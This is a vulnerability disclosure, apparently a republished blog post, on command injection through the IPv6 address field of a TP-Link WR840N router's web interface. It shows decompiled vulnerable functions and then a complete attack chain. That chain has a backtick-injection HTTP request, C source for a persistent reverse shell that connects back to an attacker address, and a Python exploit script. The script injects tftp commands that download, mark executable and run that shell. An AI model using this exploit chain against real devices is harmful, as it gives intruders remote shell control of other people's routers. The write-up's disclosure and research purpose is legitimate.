原文始发于Yair Mizrahi:CVE-2021-XXXX rce via crafted payload in an ipv6 address input field hidden – EN
This Vulnerability is discovered under the library module called libcmm.so , which processes parameters that are sent from the web server. These parameters although validated only under a request size of size 40 for the case of the X_TP_ExternalIPv6Address argument, at the character level there is no real validation filter in compliance with the input of a real ipv6 address.
then it can identify the vulnerable code segment, which receives the parameters directly without being sanitized.
undefined4 oal_wan6_setIpAddr(undefined4 param_1,undefined4 param_2,undefined4 param_3)
{
util_execSystem("oal_wan6_setIpAddr","ifconfig %s add %s/%d",param_2,param_1,param_3);
return 0;
}
- util_execSystem
uint util_execSystem(uint param_1,char *param_2,undefined4 param_3,undefined4 param_4) { int iVar1; uint uVar2; undefined4 uVar3; char *pcVar4; undefined4 local_res8; undefined4 local_resc; char *__s; uint local_22c; char acStack552 [516]; __s = acStack552; local_22c = 0; local_res8 = param_3; local_resc = param_4; memset(__s,0,0x200); iVar1 = vsnprintf(__s,0x1ff,param_2,&local_res8); cdbg_printf(8,"util_execSystem",0x8b,"%s cmd is \\"%s\\"\\n",param_1,__s); if (0 < iVar1) { iVar1 = 1; do { local_22c = system(acStack552); uVar2 = local_22c & 0x7f; if ((int)local_22c < 0) { if (local_22c == 0xffffffff) { cdbg_printf(8,"util_execSystem",0x9b,"system fork failed.",param_1,__s); } else { perror("util_execSystem call error:"); } } else { if (uVar2 == 0) { iVar1 = (int)(local_22c & 0xff00) >> 8; if (iVar1 != 0) { cdbg_printf(8,"util_execSystem",0xa6,"execute ok, exit status = %d\\n",iVar1,__s); } return local_22c >> 8 & 0xff; } if ((int)((uVar2 + 1) * 0x1000000) >> 0x19 < 1) { if ((local_22c & 0xff) == 0x7f) { uVar3 = 0xad; pcVar4 = "process stopped, signal number = %d\\n"; uVar2 = (int)(local_22c & 0xff00) >> 8; } else { uVar3 = 0xaf; pcVar4 = "Oh,no possible here. status = %d\\n"; uVar2 = local_22c; } } else { uVar3 = 0xab; pcVar4 = "abnormal termination, signal number = %d\\n"; } cdbg_printf(8,"util_execSystem",uVar3,pcVar4,uVar2,__s); param_1 = uVar2; while (uVar2 = waitpid(-1,(int *)&local_22c,1), 0 < (int)uVar2) { cdbg_printf(8,"util_execSystem",0xb5,"get a zombie process %d",uVar2); param_1 = uVar2; } } iVar1 = iVar1 + 1; } while (iVar1 != 4); } return 0xffffffff; }
The vulnerable function is called from the rsl_setDsliteObject object, a memory reservation of size 0x28 or 40 bytes is made, finally it is passed to the function oal_wan6_setIpAddr.
int rsl_setDsliteObj(undefined4 param_1,int param_2)
{
int iVar1;
int iVar2;
undefined2 local_a0;
undefined2 local_9e;
undefined2 local_9c;
undefined2 local_9a;
undefined2 local_98;
undefined2 local_96;
undefined2 local_94;
undefined auStack144 [40];
undefined auStack104 [8];
char local_60;
char local_50;
char local_4f [63];
local_a0 = 0;
local_9e = 0;
local_9c = 0;
local_9a = 0;
local_98 = 0;
local_96 = 0;
local_94 = 0;
memset(auStack144,0,0x28);
iVar1 = rsl_getObj(0x87,&local_a0,0x54,auStack104);
if (iVar1 == 0) {
if ((*(char *)(param_2 + 2) == '\\0') || (local_50 == '\\0')) {
oal_dslite_delTunnel();
}
else {
if ((*(char *)(param_2 + 4) != '\\0') &&
(iVar2 = util_netChkColonIp6Addr(param_2 + 4), iVar2 == 0)) {
cdbg_printf(8,"rsl_setDsliteObj",0x1d1,"DSLITE Remote IPv6 Address is invalid(%s)!",
param_2 + 4);
return 1;
}
**cstr_strncpy(auStack144,local_4f,0x28);**
if ((((local_50 == '\\x01') && (*(char *)(param_2 + 4) != '\\0')) && (local_60 != '\\0')) &&
(local_4f[0] != '\\0')) {
oal_dslite_delTunnel();
oal_dslite_addTunnel(param_2 + 4,auStack144);
**oal_wan6_setIpAddr(auStack144,"dslite",0x40);**
oal_dslite_setRoute("dslite",1);
}
}
}
else {
cdbg_printf(8,"rsl_setDsliteObj",0x1c2,"Get IPv6 Tunnel object data failed. ret = %d",iVar1);
}
return iVar1;
}
Finally the steps for remote code execution should be as follows:
- the payload must not exceed a size of 40 bytes, which requires several requests to be sent for a successful shell operation.
- the router only has the tftp binary to download files, so since there is no memory corruption exploit but command injection, you must use the binaries provided by the router.
- you must compile a shellcode in c, making use of the MIPSLE architecture.
- finally invoke the command string for remote code execution.
You can check the command injection by sending the following payload over the injectable field.
X_TP_ExternalIPv6Address=`cat /proc/version > /var/tmp/ver`
POST /cgi?2&2 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 617
Origin: <http://192.168.0.1>
Connection: close
Referer: <http://192.168.0.1/mainFrame.htm>
Cookie: Authorization=Basic YWRtaW46YWRtaW4=
[WAN_ETH_INTF#1,0,0,0,0,0#0,0,0,0,0,0]0,2
X_TP_lastUsedIntf=ipoe_eth3_s
X_TP_lastUsedName=ewan_ipoe_s
[WAN_IP_CONN#1,1,1,0,0,0#0,0,0,0,0,0]1,18
externalIPAddress=172.26.26.2
subnetMask=255.255.255.0
defaultGateway=172.26.26.1
NATEnabled=1
X_TP_FullconeNATEnabled=0
X_TP_FirewallEnabled=1
maxMTUSize=1500
DNSOverrideAllowed=1
DNSServers=1.1.1.1,8.8.8.8
X_TP_IPv4Enabled=0
X_TP_IPv6Enabled=1
X_TP_IPv6AddressingType=Static
X_TP_ExternalIPv6Address=**`cat /proc/version > /var/tmp/ver`**
X_TP_PrefixLength=128
X_TP_DefaultIPv6Gateway=::
X_TP_IPv6DNSOverrideAllowed=1
X_TP_IPv6DNSServers=::,::
enable=1
compile a reverse shell using the buildroot toolchain to gain control of the device.
- shellcode.c
**// Simple Persistent Reverse Shell // Compile for MIPSBE using the following steps: // 1) cp reverse_shell_mipsbe.c /tmp/ // 2) using buildroot toolchain for compile mipsel-buildroot-linux-uclibc-gcc-10.3.0 // 4) cd /tmp ; output/host/bin/mipsel-buildroot-linux-uclibc-gcc-10.3.0 -static /home/sasaga/Escritorio/shellcode/rev.c -o /home/sasaga/Escritorio/shellcode/rev // Outside Docker: // 5) cp /tmp/rev . #include <sys/types.h> #include <sys/socket.h> #include <sys/wait.h> #include <netinet/in.h> #include <arpa/inet.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(){ int socket_info; int connectie; int pid; struct sockaddr_in aanvaller_info; while(1){ socket_info = socket(AF_INET, SOCK_STREAM, 0); aanvaller_info.sin_family = AF_INET; aanvaller_info.sin_port = htons(3000); aanvaller_info.sin_addr.s_addr = inet_addr("192.168.0.103"); //since this is a reverse shell, the 'attacker's IP address should be put here. printf("Set data.\\n"); printf("Trying to perform a new connection\\n"); connectie = connect(socket_info, (struct sockaddr *)&aanvaller_info, sizeof(struct sockaddr)); while(connectie < 0){ printf("Connection Failed\\n"); sleep(5); connectie = connect(socket_info, (struct sockaddr *)&aanvaller_info, sizeof(struct sockaddr)); } connectie = write(socket_info,"Connection Completed\\n",36); printf("Successful Connection\\n"); pid = fork(); if(pid > 0){ printf("Forking Process\\n"); wait(NULL); } if(pid == 0){ printf("Process Forked Successfully\\n"); dup2(socket_info,0); // input dup2(socket_info,1); // output dup2(socket_info,2); // errors execl("/bin/sh", "/bin/sh", NULL); usleep(3000); } printf("The connection was closed, trying to reconnect...\\n"); } return 0; }**
copy the binary on your attacking machine in tftpserver, on mac it would be copy it to /private/tftpboot
finally run the exploit and obtain shell
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Author: Samir Sanchez Garnica and Luis Jacome Valencia
# Description: This script exploits a remote command execution vulnerability in the TPLink WR840N router, using the IPv6 protocol.
import requests
import base64
import argparse
class RCE():
def __init__(self, ip, command, username, password):
self.ip = ip
self.command = command
self.username = username
self.password = password
self.session = requests.Session()
def base64_encode(self, s):
msg_bytes = s.encode('ascii')
return base64.b64encode(msg_bytes)
def exploit(self):
# Building the malicious packet
self.url = "http://" + self.ip + "/cgi?2&2"
self.proxyes = {}
self.payload = '[WAN_ETH_INTF#1,0,0,0,0,0#0,0,0,0,0,0]0,2\\r\\nX_TP_lastUsedIntf=ipoe_eth3_s\\r\\nX_TP_lastUsedName=ewan_ipoe_s\\r\\n[WAN_IP_CONN#1,1,1,0,0,0#0,0,0,0,0,0]1,18\\r\\nexternalIPAddress=172.26.26.2\\r\\nsubnetMask=255.255.255.0\\r\\ndefaultGateway=172.26.26.1\\r\\nNATEnabled=1\\r\\nX_TP_FullconeNATEnabled=0\\r\\nX_TP_FirewallEnabled=1\\r\\nmaxMTUSize=1500\\r\\nDNSOverrideAllowed=1\\r\\nDNSServers=1.1.1.1,8.8.8.8\\r\\nX_TP_IPv4Enabled=0\\r\\nX_TP_IPv6Enabled=1\\r\\nX_TP_IPv6AddressingType=Static\\r\\nX_TP_ExternalIPv6Address=`'+str(self.command)+'`\\r\\nX_TP_PrefixLength=128\\r\\nX_TP_DefaultIPv6Gateway=::\\r\\nX_TP_IPv6DNSOverrideAllowed=1\\r\\nX_TP_IPv6DNSServers=::,::\\r\\nenable=1\\r\\n'
self.headers = {
'Host': self.ip,
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0',
'Accept': '*/*',
'Accept-Language': 'es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'text/plain',
'Content-Length': 'str(len(self.payload))',
'Origin': 'http://'+str(self.ip),
'Referer': 'http://'+str(self.ip)+'/mainFrame.htm',
}
self.cookies = { 'Authorization' : 'Basic ' + self.base64_encode(self.username + ":" + self.password).decode('ascii') }
self.response = self.session.post(self.url, headers=self.headers, cookies=self.cookies, data=self.payload, proxies=self.proxyes, timeout=10)
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--username", dest="username", help="Enter the administrator user of the router", required=True)
parser.add_argument("--password", dest="password", help="Enter the admin password of the router", required=True)
parser.add_argument("--target", dest="target", help="Enter router ip address", required=True)
parser.add_argument("--lhost", dest="lhost", help="Enter your lhost server tfpt", required=True)
parser.add_argument("--lport", dest="lport", help="Enter your lport received your connection", required=True)
args = parser.parse_args()
if args.username and args.password and args.target and args.lhost and args.lport:
commands = ['tftp -g -r s -l/var/tmp/r {}'.format(args.lhost), 'chmod +x /var/tmp/r', '/var/tmp/r &']
for com in commands:
rce = RCE(args.target, com, args.username, args.password)
rce.exploit()
print("[+] Exploiting stage " + str(com))
if __name__ == "__main__":
main()